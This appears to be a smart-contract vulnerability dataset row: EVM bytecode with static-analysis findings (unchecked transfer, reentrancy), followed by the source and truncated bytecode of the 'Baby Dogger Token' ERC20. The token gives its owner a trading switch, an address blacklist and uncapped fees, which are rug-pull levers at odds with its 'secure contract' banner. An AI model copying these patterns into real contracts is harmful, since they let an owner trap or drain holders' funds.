ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561131c5761131a33600661244d90919063ffffffff16565b505b505050565b600061132d6006612098565b905090565b60025481565b60096020528060005260406000206000915090505481565b606481565b600b6020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113c557600080fd5b734f4f0ef7978737ce928bff395529161b44e27ad973ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611455575073f94d66fb399a98b33563d87447b41a6a75bffdf073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b6114c7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616e6e6f74205472616e73666572204f7574207468697320746f6b656e000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561153857600080fd5b505af115801561154c573d6000803e3d6000fd5b505050506040513d602081101561156257600080fd5b810190808051906020019092919050505050505050565b60015481565b73f94d66fb399a98b33563d87447b41a6a75bffdf081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006115d182600661241d90919063ffffffff16565b6115de5760009050611781565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561162f5760009050611781565b6000600560009054906101000a900460ff16611739576000611699600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054426120e390919063ffffffff16565b90506000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506117306127106117226301e1338061171486611706600154886123d590919063ffffffff16565b6123d590919063ffffffff16565b61240490919063ffffffff16565b61240490919063ffffffff16565b9250505061177c565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b809150505b919050565b600560009054906101000a900460ff1615611809576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5374616b696e672068617320656e64656400000000000000000000000000000081525060200191505060405180910390fd5b6000811161187f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b6002548111156118f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4e6f20737061636520617661696c61626c65000000000000000000000000000081525060200191505060405180910390fd5b734f4f0ef7978737ce928bff395529161b44e27ad973ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561199a57600080fd5b505af11580156119ae573d6000803e3d6000fd5b505050506040513d60208110156119c457600080fd5b8101908080519060200190929190505050611a47576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b611a50336120fa565b6000611a7a612710611a6c6064856123d590919063ffffffff16565b61240490919063ffffffff16565b90506000611a9182846120e390919063ffffffff16565b9050734f4f0ef7978737ce928bff395529161b44e27ad973ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611b3857600080fd5b505af1158015611b4c573d6000803e3d6000fd5b505050506040513d6020811015611b6257600080fd5b8101908080519060200190929190505050611be5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f756c64206e6f74207472616e73666572206465706f736974206665652e0081525060200191505060405180910390fd5b611c3781600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120c790919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c8f816002546120e390919063ffffffff16565b600281905550611ca933600661241d90919063ffffffff16565b611cc357611cc133600661247d90919063ffffffff16565b505b42600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6301e1338081565b60086020528060005260406000206000915090505481565b600c6020528060005260406000206000915090505481565b683635c9adc5dea0000081565b60035481565b62278d0081565b603281565b69021e19e0c9bab240000081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611dcc57600080fd5b600560009054906101000a900460ff1615611e4f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f5374616b696e6720616c726561647920656e646564000000000000000000000081525060200191505060405180910390fd5b60005b611e5c6006612098565b811015611ef057611e7f611e7a8260066120ad90919063ffffffff16565b6115bb565b600c6000611e978460066120ad90919063ffffffff16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ee96001826120c790919063ffffffff16565b9050611e52565b506001600560006101000a81548160ff0219169083151502179055506001905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f6b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611fa557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a6020528060005260406000206000915090505481565b734f4f0ef7978737ce928bff395529161b44e27ad981565b60045481565b60006120a6826000016124ad565b9050919050565b60006120bc83600001836124be565b60001c905092915050565b6000808284019050838110156120d957fe5b8091505092915050565b6000828211156120ef57fe5b818303905092915050565b6000612105826115bb565b9050600081111561238d5773f94d66fb399a98b33563d87447b41a6a75bffdf073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561219557600080fd5b505af11580156121a9573d6000803e3d6000fd5b505050506040513d60208110156121bf57600080fd5b8101908080519060200190929190505050612242576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d981600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120c790919063ffffffff16565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612331816003546120c790919063ffffffff16565b6003819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600080828402905060008414806123f45750828482816123f157fe5b04145b6123fa57fe5b8091505092915050565b60008082848161241057fe5b0490508091505092915050565b6000612445836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612541565b905092915050565b6000612475836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612564565b905092915050565b60006124a5836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61264c565b905092915050565b600081600001805490509050919050565b60008183600001805490501161251f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806126bd6022913960400191505060405180910390fd5b82600001828154811061252e57fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461264057600060018203905060006001866000018054905003905060008660000182815481106125af57fe5b90600052602060002001549050808760000184815481106125cc57fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061260457fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612646565b60009150505b92915050565b60006126588383612541565b6126b15782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506126b6565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473596f7520726563656e746c79207374616b65642c20706c656173652077616974206265666f7265207769746864726177696e672ea26469706673582212202b01741ac9b9be9297566bd0a8c6d8ef8401e12fa87c594123bd4df8cf3cdabf64736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 643 |
0x16C9628375FE641715E68B308d65a69f51FC5596 | /**
*Submitted for verification at Etherscan.io on 2022-04-09
*/
/**
BABY DOGGER TOKEN
-- 10 ETH POOL
-- 4% BUY AND 6% SELL TAX
-- 2.5% MAX WALLET, 1% MAX TXN
-- SECURE CONTRACT, RENOUNCE AFTER LAUNCH
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BabyDoggerToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Baby Dogger Token";
string private constant _symbol = "BABYDOGGER";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 6;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x8786B8e67AFD5d1024063D06Ea1D6Bc86E946632);
address payable private _marketingAddress = payable(0x8786B8e67AFD5d1024063D06Ea1D6Bc86E946632);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMovableDoggo(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637f2feddc116100f7578063a9059cbb11610095578063c492f04611610064578063c492f04614610562578063dd62ed3e14610582578063ea1644d5146105c8578063f2fde38b146105e857600080fd5b8063a9059cbb146104dd578063aa1e7819146104fd578063bfd792841461051d578063c3c8cd801461054d57600080fd5b80638f9a55c0116100d15780638f9a55c01461045457806395d89b411461046a57806398a5c3151461049d578063a2a957bb146104bd57600080fd5b80637f2feddc146103e95780638da5cb5b146104165780638f70ccf71461043457600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038957806370a082311461039e578063715018a6146103be5780637d1db4a5146103d357600080fd5b8063313ce5671461030d57806349bd5a5e146103295780636b999053146103495780636d8aa8f81461036957600080fd5b80631694505e116101ab5780631694505e1461027a57806318160ddd146102b257806323b872dd146102d75780632fd689e3146102f757600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024a57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461196c565b610608565b005b34801561020a57600080fd5b506040805180820190915260118152702130b13c902237b3b3b2b9102a37b5b2b760791b60208201525b6040516102419190611a31565b60405180910390f35b34801561025657600080fd5b5061026a610265366004611a86565b6106a7565b6040519015158152602001610241565b34801561028657600080fd5b5060145461029a906001600160a01b031681565b6040516001600160a01b039091168152602001610241565b3480156102be57600080fd5b50670de0b6b3a76400005b604051908152602001610241565b3480156102e357600080fd5b5061026a6102f2366004611ab2565b6106be565b34801561030357600080fd5b506102c960185481565b34801561031957600080fd5b5060405160098152602001610241565b34801561033557600080fd5b5060155461029a906001600160a01b031681565b34801561035557600080fd5b506101fc610364366004611af3565b610727565b34801561037557600080fd5b506101fc610384366004611b20565b610772565b34801561039557600080fd5b506101fc6107ba565b3480156103aa57600080fd5b506102c96103b9366004611af3565b610805565b3480156103ca57600080fd5b506101fc610827565b3480156103df57600080fd5b506102c960165481565b3480156103f557600080fd5b506102c9610404366004611af3565b60116020526000908152604090205481565b34801561042257600080fd5b506000546001600160a01b031661029a565b34801561044057600080fd5b506101fc61044f366004611b20565b61089b565b34801561046057600080fd5b506102c960175481565b34801561047657600080fd5b5060408051808201909152600a8152692120a12ca227a3a3a2a960b11b6020820152610234565b3480156104a957600080fd5b506101fc6104b8366004611b3b565b6108e3565b3480156104c957600080fd5b506101fc6104d8366004611b54565b610912565b3480156104e957600080fd5b5061026a6104f8366004611a86565b610950565b34801561050957600080fd5b506101fc610518366004611b3b565b61095d565b34801561052957600080fd5b5061026a610538366004611af3565b60106020526000908152604090205460ff1681565b34801561055957600080fd5b506101fc61098c565b34801561056e57600080fd5b506101fc61057d366004611b86565b6109e0565b34801561058e57600080fd5b506102c961059d366004611c0a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d457600080fd5b506101fc6105e3366004611b3b565b610a81565b3480156105f457600080fd5b506101fc610603366004611af3565b610ab0565b6000546001600160a01b0316331461063b5760405162461bcd60e51b815260040161063290611c43565b60405180910390fd5b60005b81518110156106a35760016010600084848151811061065f5761065f611c78565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069b81611ca4565b91505061063e565b5050565b60006106b4338484610b9a565b5060015b92915050565b60006106cb848484610cbe565b61071d843361071885604051806060016040528060288152602001611dbe602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111fa565b610b9a565b5060019392505050565b6000546001600160a01b031633146107515760405162461bcd60e51b815260040161063290611c43565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461079c5760405162461bcd60e51b815260040161063290611c43565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ef57506013546001600160a01b0316336001600160a01b0316145b6107f857600080fd5b4761080281611234565b50565b6001600160a01b0381166000908152600260205260408120546106b89061126e565b6000546001600160a01b031633146108515760405162461bcd60e51b815260040161063290611c43565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c55760405162461bcd60e51b815260040161063290611c43565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461090d5760405162461bcd60e51b815260040161063290611c43565b601855565b6000546001600160a01b0316331461093c5760405162461bcd60e51b815260040161063290611c43565b600893909355600a91909155600955600b55565b60006106b4338484610cbe565b6000546001600160a01b031633146109875760405162461bcd60e51b815260040161063290611c43565b601655565b6012546001600160a01b0316336001600160a01b031614806109c157506013546001600160a01b0316336001600160a01b0316145b6109ca57600080fd5b60006109d530610805565b9050610802816112f2565b6000546001600160a01b03163314610a0a5760405162461bcd60e51b815260040161063290611c43565b60005b82811015610a7b578160056000868685818110610a2c57610a2c611c78565b9050602002016020810190610a419190611af3565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7381611ca4565b915050610a0d565b50505050565b6000546001600160a01b03163314610aab5760405162461bcd60e51b815260040161063290611c43565b601755565b6000546001600160a01b03163314610ada5760405162461bcd60e51b815260040161063290611c43565b6001600160a01b038116610b3f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610632565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bfc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610632565b6001600160a01b038216610c5d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610632565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d225760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610632565b6001600160a01b038216610d845760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610632565b60008111610de65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610632565b6000546001600160a01b03848116911614801590610e1257506000546001600160a01b03838116911614155b156110f357601554600160a01b900460ff16610eab576000546001600160a01b03848116911614610eab5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610632565b601654811115610efd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610632565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3f57506001600160a01b03821660009081526010602052604090205460ff16155b610f975760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610632565b6015546001600160a01b0383811691161461101c5760175481610fb984610805565b610fc39190611cbf565b1061101c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610632565b600061102730610805565b6018546016549192508210159082106110405760165491505b8080156110575750601554600160a81b900460ff16155b801561107157506015546001600160a01b03868116911614155b8015611086575060155460016